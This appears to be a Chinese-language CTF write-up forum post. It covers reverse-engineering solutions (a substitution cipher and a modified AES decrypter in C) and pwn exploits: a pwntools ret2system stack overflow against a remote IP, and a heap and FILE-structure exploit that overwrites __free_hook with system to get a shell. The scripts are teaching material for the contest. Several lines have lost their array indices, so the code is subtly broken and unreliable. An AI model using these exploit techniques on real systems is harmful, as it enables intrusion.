|
本帖最后由 adopi 于 2023-8-28 00:45 编辑
re
re1
ppc64 的 elf,ida 打开
输入经过 sub_100012C4 和 sub_10000FC4 两个函数的变换,和已知的密文比较
首先分析 sub_100012C4
如果当前的输入字符是小写字母,则转为大写
然后找到该大写字母在” PLHKGDXVYQSAWITNOMJFBUECR”中的下标,存储到 v15
如果当前的输入字符非小写字母,则对 100 求余,结果存储到 v15
然后分析 sub_10000FC4,经过多次尝试发现,数字”0”对应字符”/”,数字”1”对应字符”@”,
数字”2”到数字”5”分别对应字母”A”到”D”
最后根据已知密文的”/@ABCD”恢复出数字
再作为下标到” PLHKGDXVYQSAWITNOMJFBUECR”中取值即可得到 flag
import string
upper_table=string.ascii_uppercase
key="PLHKGDXVYQSAWITNOMJFBUECR"
cipher="AC/CA/DA/DD/BA/CD/@A/BA/@D/BA/BC/B@/BA/DC/BD/CD/AB/BA/B@/@C/
@A/CD/CC/BA/AD/BB/DD/AD/AB/AD/BB/CD/A@/AD/BB/DD/AD/"
flag=[]
for c in cipher:
if c=="/":
continue
if c=="@":
flag.append(1)
else:
flag.append(upper_table.index(c)+2)
flag_str=""
for i in range(0,len(flag),2):
tmp=(flag-1)*5+(flag[i+1]-1)
flag_str+=key[tmp]
print(flag_str.lower())
# your a flag a is a ctfvasklfjaqwrqvqwfdqwrq
# your a flag a is a ctf{asklfjaqwrqvqwfdqwr}
ddl
全程调试, 输入先异或 0x66,再经过 AES 加密,AES 密钥已知,最后比较的密文已知
虽然已知 AES 密钥,但是程序实际的密钥扩展结果和标准 AES 的密钥扩展结果不同
调试取出程序实际的密钥扩展结果,解密 AES,再异或 0x66,即可得到 flag
#include <stdio.h>
#include <stdint.h>
#include <memory.h>
typedef enum {
AES_CYPHER_128,
AES_CYPHER_192,
AES_CYPHER_256,
} AES_CYPHER_T;
/*
* Encryption Rounds
*/
int g_aes_key_bits[] = {
/* AES_CYPHER_128 */ 128,
/* AES_CYPHER_192 */ 192,
/* AES_CYPHER_256 */ 256,
};
int g_aes_rounds[] = {
/* AES_CYPHER_128 */ 10,
/* AES_CYPHER_192 */ 12,
/* AES_CYPHER_256 */ 14,
};
int g_aes_nk[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 6,
/* AES_CYPHER_256 */ 8,
};
int g_aes_nb[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 4,
/* AES_CYPHER_256 */ 4,
};
/*
* aes Rcon:
*
* WARNING: Rcon is designed starting from 1 to 15, not 0 to 14.
* FIPS-197 Page 9: "note that i starts at 1, not 0"
*
* i | 0 1 2 3 4 5 6 7 8 9 10 11
12 13 14
* -----+---------------------------------------------------------------------
---------------------
* | [01] [02] [04] [08] [10] [20] [40] [80] [1b] [36] [6c] [d8] [ab]
[4d] [9a]
* RCON | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
[00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
[00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
[00] [00]
*/
static const uint32_t g_aes_rcon[] = {
0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000,
0x40000000, 0x80000000,
0x1b000000, 0x36000000, 0x6c000000, 0xd8000000, 0xab000000, 0xed000000,
0x9a000000
};
/*
* aes sbox and invert-sbox
*/
static const uint8_t g_aes_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B
C D E F */
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab,
0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72,
0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31,
0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2,
0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f,
0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58,
0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f,
0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3,
0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19,
0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b,
0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4,
0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae,
0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b,
0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d,
0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28,
0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb,
0x16
};
static const uint8_t g_inv_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B
C D E F */
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7,
0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9,
0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3,
0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b,
0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6,
0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d,
0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45,
0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a,
0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6,
0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf,
0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe,
0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a,
0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec,
0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c,
0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99,
0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21,
0x0c, 0x7d
};
uint8_t aes_sub_sbox(uint8_t val)
{
return g_aes_sbox[val];
}
uint32_t aes_sub_dword(uint32_t val)
{
uint32_t tmp = 0;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 0) & 0xFF))) << 0;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 8) & 0xFF))) << 8;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 16) & 0xFF))) << 16;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 24) & 0xFF))) << 24;
return tmp;
}
uint32_t aes_rot_dword(uint32_t val)
{
uint32_t tmp = val;
return (val >> 8) | ((tmp & 0xFF) << 24);
}
uint32_t aes_swap_dword(uint32_t val)
{
return (((val & 0x000000FF) << 24) |
((val & 0x0000FF00) << 8) |
((val & 0x00FF0000) >> 8) |
((val & 0xFF000000) >> 24));
}
/*
* nr: number of rounds
* nb: number of columns comprising the state, nb = 4 dwords (16 bytes)
* nk: number of 32-bit words comprising cipher key, nk = 4, 6, 8 (KeyLength/(4*8))
*/
void aes_key_expansion(AES_CYPHER_T mode, uint8_t *key, uint8_t *round)
{
uint32_t *w = (uint32_t *)round;
uint32_t t;
int i = 0;
do {
w = *((uint32_t *)&key[i * 4 + 0]);
} while (++i < g_aes_nk[mode]);
do {
if ((i % g_aes_nk[mode]) == 0) {
t = aes_rot_dword(w[i - 1]);
t = aes_sub_dword(t);
t = t ^ aes_swap_dword(g_aes_rcon[i / g_aes_nk[mode] - 1]);
}
else if (g_aes_nk[mode] > 6 && (i % g_aes_nk[mode]) == 4) {
t = aes_sub_dword(w[i - 1]);
}
else {
t = w[i - 1];
}
w = w[i - g_aes_nk[mode]] ^ t;
} while (++i < g_aes_nb[mode] * (g_aes_rounds[mode] + 1));
}
void aes_add_round_key(AES_CYPHER_T mode, uint8_t *state,uint8_t *round, int nr)
{
uint32_t *w = (uint32_t *)round;
uint32_t *s = (uint32_t *)state;
int i;
for (i = 0; i < g_aes_nb[mode]; i++) {
s ^= w[nr * g_aes_nb[mode] + i];
}
}
void aes_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = aes_sub_sbox(state[i * 4 + j]);
}
}
}
void aes_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;
for (i = 1; i < g_aes_nb[mode]; i++) {
for (j = 0; j < i; j++) {
uint8_t tmp = s;
for (r = 0; r < g_aes_nb[mode]; r++) {
s[i + r * 4] = s[i + (r + 1) * 4];
}
s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
}
}
}
uint8_t aes_xtime(uint8_t x)
{
return ((x << 1) ^ (((x >> 7) & 1) * 0x1b));
}
uint8_t aes_xtimes(uint8_t x, int ts)
{
while (ts-- > 0) {
x = aes_xtime(x);
}
return x;
}
uint8_t aes_mul(uint8_t x, uint8_t y)
{
/*
* encrypt: y has only 2 bits: can be 1, 2 or 3
* decrypt: y could be any value of 9, b, d, or e
*/
return ((((y >> 0) & 1) * aes_xtimes(x, 0)) ^
(((y >> 1) & 1) * aes_xtimes(x, 1)) ^
(((y >> 2) & 1) * aes_xtimes(x, 2)) ^
(((y >> 3) & 1) * aes_xtimes(x, 3)) ^
(((y >> 4) & 1) * aes_xtimes(x, 4)) ^
(((y >> 5) & 1) * aes_xtimes(x, 5)) ^
(((y >> 6) & 1) * aes_xtimes(x, 6)) ^
(((y >> 7) & 1) * aes_xtimes(x, 7)));
}
void aes_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 2, 3, 1, 1, 1, 2, 3, 1, 1, 1, 2, 3, 3, 1, 1, 2 };
uint8_t s[4];
int i, j, r;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}
int aes_encrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = { 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x72, 0x7C, 0x01, 0xC8,
0x46, 0x49, 0x37, 0xFF, 0x7E, 0x70, 0x56, 0x9D, 0x1D, 0x14,
0x33, 0xFB, 0x8A, 0xBF, 0x0E, 0x6C, 0xCC, 0xF6, 0x39, 0x93,
0xB2, 0x86, 0x6F, 0x0E, 0xAF, 0x92, 0x5C, 0xF5, 0xC1, 0xF5,
0xE8, 0x15, 0x0D, 0x03, 0xD1, 0x86, 0xBF, 0x85, 0xBE, 0x88,
0x10, 0x17, 0xE2, 0x7D, 0x39, 0x6D, 0x17, 0xDF, 0x34, 0x6E,
0xC6, 0x59, 0x8B, 0xEB, 0x78, 0xD1, 0x9B, 0xFC, 0x9A, 0xAC,
0x99, 0xD5, 0x86, 0xCB, 0xAD, 0xBB, 0x40, 0x92, 0x26, 0x50,
0x38, 0x43, 0xBD, 0xAC, 0xA2, 0xEF, 0x28, 0xEF, 0x59, 0xB1,
0x85, 0x54, 0x19, 0x23, 0xA3, 0x04, 0x21, 0x60, 0x1E, 0xA8,
0x83, 0x8F, 0xAA, 0x03, 0x2A, 0xC3, 0x2F, 0x57, 0x33, 0xE0,
0x8C, 0x53, 0x12, 0x80, 0x92, 0xFB, 0x91, 0x0F, 0x25, 0x82,
0x5C, 0x8C, 0x0A, 0xD5, 0x6F, 0x6C, 0x86, 0x86, 0x7D, 0xEC,
0x14, 0x7D, 0xEC, 0xE3, 0xEC, 0x4C, 0x4D, 0x76, 0xE6, 0x99,
0x22, 0x1A, 0x60, 0x1F, 0x5F, 0xF6, 0x74, 0x62, 0xB3, 0x15,
0x5D, 0x21, 0x14, 0xE4, 0xBB, 0xB8, 0x36, 0xFE, 0xDB, 0xA7,
0x69, 0x08, 0xAF, 0xC5, 0xDA, 0x1D }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
int nr, i, j;
/* key expansion */
// aes_key_expansion(mode, key, w);
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {
if (nr > 0) {
/* do SubBytes */
aes_sub_bytes(mode, s);
/* do ShiftRows */
aes_shift_rows(mode, s);
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
}
}
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = s[j];
}
return 0;
}
int aes_encrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
return aes_encrypt(mode, data, len, key);
}
int aes_encrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
uint8_t v[4 * 4] = { 0 }; /* iv */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
memcpy(v, iv, sizeof(v));
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j] ^ v[j];
/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {
if (nr > 0) {
/* do SubBytes */
aes_sub_bytes(mode, s);
/* do ShiftRows */
aes_shift_rows(mode, s);
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
}
}
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = v[j] = s[j];
}
return 0;
}
void inv_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;
for (i = 1; i < g_aes_nb[mode]; i++) {
for (j = 0; j < g_aes_nb[mode] - i; j++) {
uint8_t tmp = s;
for (r = 0; r < g_aes_nb[mode]; r++) {
s[i + r * 4] = s[i + (r + 1) * 4];
}
s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
}
}
}
uint8_t inv_sub_sbox(uint8_t val)
{
return g_inv_sbox[val];
}
void inv_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = inv_sub_sbox(state[i * 4 + j]);
}
}
}
void inv_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 0x0e, 0x0b, 0x0d, 0x09, 0x09, 0x0e, 0x0b, 0x0d,
0x0d, 0x09, 0x0e, 0x0b, 0x0b, 0x0d, 0x09, 0x0e };
uint8_t s[4];
int i, j, r;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}
int aes_decrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = { 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x72, 0x7C, 0x01, 0xC8,
0x46, 0x49, 0x37, 0xFF, 0x7E, 0x70, 0x56, 0x9D, 0x1D, 0x14,
0x33, 0xFB, 0x8A, 0xBF, 0x0E, 0x6C, 0xCC, 0xF6, 0x39, 0x93,
0xB2, 0x86, 0x6F, 0x0E, 0xAF, 0x92, 0x5C, 0xF5, 0xC1, 0xF5,
0xE8, 0x15, 0x0D, 0x03, 0xD1, 0x86, 0xBF, 0x85, 0xBE, 0x88,
0x10, 0x17, 0xE2, 0x7D, 0x39, 0x6D, 0x17, 0xDF, 0x34, 0x6E,
0xC6, 0x59, 0x8B, 0xEB, 0x78, 0xD1, 0x9B, 0xFC, 0x9A, 0xAC,
0x99, 0xD5, 0x86, 0xCB, 0xAD, 0xBB, 0x40, 0x92, 0x26, 0x50,
0x38, 0x43, 0xBD, 0xAC, 0xA2, 0xEF, 0x28, 0xEF, 0x59, 0xB1,
0x85, 0x54, 0x19, 0x23, 0xA3, 0x04, 0x21, 0x60, 0x1E, 0xA8,
0x83, 0x8F, 0xAA, 0x03, 0x2A, 0xC3, 0x2F, 0x57, 0x33, 0xE0,
0x8C, 0x53, 0x12, 0x80, 0x92, 0xFB, 0x91, 0x0F, 0x25, 0x82,
0x5C, 0x8C, 0x0A, 0xD5, 0x6F, 0x6C, 0x86, 0x86, 0x7D, 0xEC,
0x14, 0x7D, 0xEC, 0xE3, 0xEC, 0x4C, 0x4D, 0x76, 0xE6, 0x99,
0x22, 0x1A, 0x60, 0x1F, 0x5F, 0xF6, 0x74, 0x62, 0xB3, 0x15,
0x5D, 0x21, 0x14, 0xE4, 0xBB, 0xB8, 0x36, 0xFE, 0xDB, 0xA7,
0x69, 0x08, 0xAF, 0xC5, 0xDA, 0x1D }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
int nr, i, j;
/* key expansion */
// aes_key_expansion(mode, key, w);
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (cyphertext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
if (nr > 0) {
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
inv_mix_columns(mode, s);
}
/* do ShiftRows */
inv_shift_rows(mode, s);
/* do SubBytes */
inv_sub_bytes(mode, s);
}
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = s[j];
}
return 0;
}
int aes_decrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
return aes_decrypt(mode, data, len, key);
}
int aes_decrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
uint8_t v[4 * 4] = { 0 }; /* iv */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
memcpy(v, iv, sizeof(v));
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (cyphertext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
if (nr > 0) {
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
inv_mix_columns(mode, s);
}
/* do ShiftRows */
inv_shift_rows(mode, s);
/* do SubBytes */
inv_sub_bytes(mode, s);
}
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++) {
uint8_t p = s[j] ^ v[j];
v[j] = data[i + j];
data[i + j] = p;
}
}
return 0;
}
int main()
{
//数据
uint8_t buf[] = { 0xD1, 0xF7, 0xB4, 0x67, 0x72, 0x1E, 0x25, 0xBA, 0x44, 0x79,
0x2D, 0xC5, 0xFC, 0x9A, 0xCF, 0x00, 0xA9, 0xA8, 0xF9, 0xED,
0x4D, 0x0E, 0x74, 0x61, 0xB8, 0x17, 0x8D, 0x8F, 0xFD, 0x6D,
0x1E, 0x65 };
//密钥
uint8_t key[] =
{ 0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x61,0x62,0x63,0x64,0x65,0x66 };
//向量
uint8_t iv[] =
{ 0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10 };
//模式 1-ECB 0-CBC
bool ecb_or_cbc = 1;
//加解密 1-加密 0-解密
bool en_or_de = 0;
//ECB 模式加密
if(ecb_or_cbc&&en_or_de)
{
switch (sizeof(key))
{
case 16:aes_encrypt(AES_CYPHER_128, buf, sizeof(buf), key); break;
case 24:aes_encrypt(AES_CYPHER_192, buf, sizeof(buf), key); break;
case 32:aes_encrypt(AES_CYPHER_256, buf, sizeof(buf), key); break;
}
//打印数据
for (int i = 0; i < sizeof(buf); i++)
{
printf("0x%02x,", buf & 0xFF);
}
}
//ECB 模式解密
else if(ecb_or_cbc&&(!en_or_de))
{
switch (sizeof(key))
{
case 16:aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key); break;
case 24:aes_decrypt(AES_CYPHER_192, buf, sizeof(buf), key); break;
case 32:aes_decrypt(AES_CYPHER_256, buf, sizeof(buf), key); break;
}
//打印数据
for (int i = 0; i < sizeof(buf); i++)
{
printf("%c", (buf & 0xFF)^0x66);
}
}
//CBC 模式加密
else if((!ecb_or_cbc)&&en_or_de)
{
switch (sizeof(key))
{
case 16:aes_encrypt_cbc(AES_CYPHER_128, buf, sizeof(buf), key, iv); break;
case 24:aes_encrypt_cbc(AES_CYPHER_192, buf, sizeof(buf), key, iv); break;
case 32:aes_encrypt_cbc(AES_CYPHER_256, buf, sizeof(buf), key, iv); break;
}
//打印数据
for (int i = 0; i < sizeof(buf); i++)
{
printf("0x%02x,", buf & 0xFF);
}
}
//CBC 模式解密
else
{
switch (sizeof(key))
{
case 16:aes_decrypt_cbc(AES_CYPHER_128, buf, sizeof(buf), key, iv); break;
case 24:aes_decrypt_cbc(AES_CYPHER_192, buf, sizeof(buf), key, iv); break;
case 32:aes_decrypt_cbc(AES_CYPHER_256, buf, sizeof(buf), key, iv); break;
}
//打印数据
for (int i = 0; i < sizeof(buf); i++)
{
printf("%c", buf & 0xFF);
}
}
printf("\n");
return 0;
}
// flag{385c8d7fcb32a6bf9661aaa3e3}
pwn
takeeasy
栈溢出,ret2system
from pwn import *
context(log_level="debug")
#io=process("./takeeasy")
io=remote("39.106.154.70",30156)
elf=ELF("./takeeasy")
backdoor=0x0000000000401176
ret=0x000000000040101a
payload=b"a"*0x18+p64(ret)+p64(backdoor)
io.sendline(payload)
io.interactive()
easyfp
from pwncli import *
cli_script()
set_remote_libc("./easyfp-libc.so.6")
io: tube=gift.io
elf: ELF=gift.elf
libc: ELF=gift.libc
def cmd(idx):
sla(b">> ",str(idx))
def add(name):
cmd(1)
sa(b"Name:\n",name)
def dele(name,attack=False):
cmd(2)
sa(b"Name:\n",name)
if attack:
return
m=rl()
if b"Not" in m:
return False
else:
return True
def say(data):
cmd(3)
sa(b"want to say\n",data)
def bye(c):
cmd(4)
sa(b"say bye?\n",c)
add("a")
add("b")
add("c")
add("d")
add("e")
add("f")
add("g")
add("h")
add("/bin/sh\x00")
dele("b")
dele("c")
dele("d")
dele("e")
dele("f")
dele("g")
dele("h")
dele("a")
leak_addr=0x10
for i in range(5):
add(pack(leak_addr,8*(i+1)))
for x in range(256):
name=pack((x<<(8*(i+1)))+leak_addr,8*(i+2))
if dele(name):
leak_addr=(x<<(8*(i+1)))+leak_addr
break
heap_base=leak_addr-0xa10
for x in "abcdefg":
add(x)
for i in range(7):
bye("n")
say("\xe0")
add("?")
bye("n")
add(flat([0xfbad1887,0,0,0,heap_base+0x2a0+0x1e0,[heap_base+0x2a0+0x1f0]*4,[0]*5,1])
)
say("?")
libcaddr=recv_current_libc_addr()
lb=set_current_libc_base_and_log(libcaddr,0x1ecc3f)
dele(p64_ex(0xfbad1887))
add(flat([0,0,0,0,libc.sym.__free_hook,libc.sym.__free_hook,libc.sym.__free_hook+0x10,[0]*7
,3]))
say(p64(libc.sym.system))
dele("/bin/sh\x00",attack=1)
sleep(0.2)
sl("cat /flag")
ia()
easybuf
test_pb2.py
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: test.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='test.proto',
package='tutorial',
syntax='proto2',
serialized_options=None,
serialized_pb=_b('\n\ntest.proto\x12\x08tutorial\"B\n\x04Note\x12\x0c\n\x04name\x18\x
01 \x01(\t\x12\x0c\n\x04\x61\x64\x64r\x18\x02 \x01(\x03\x12\x0e\n\x06offset\x18\x03
\x01(\x03\x12\x0e\n\x06\x63hoice\x18\x04
\x01(\x05\"(\n\x08Notebook\x12\x1c\n\x04note\x18\x01 \x03(\x0b\x32\x0e.tutorial.Note')
)
_NOTE = _descriptor.Descriptor(
name='Note',
full_name='tutorial.Note',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='tutorial.Note.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='addr', full_name='tutorial.Note.addr', index=1,
number=2, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='offset', full_name='tutorial.Note.offset', index=2,
number=3, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='choice', full_name='tutorial.Note.choice', index=3,
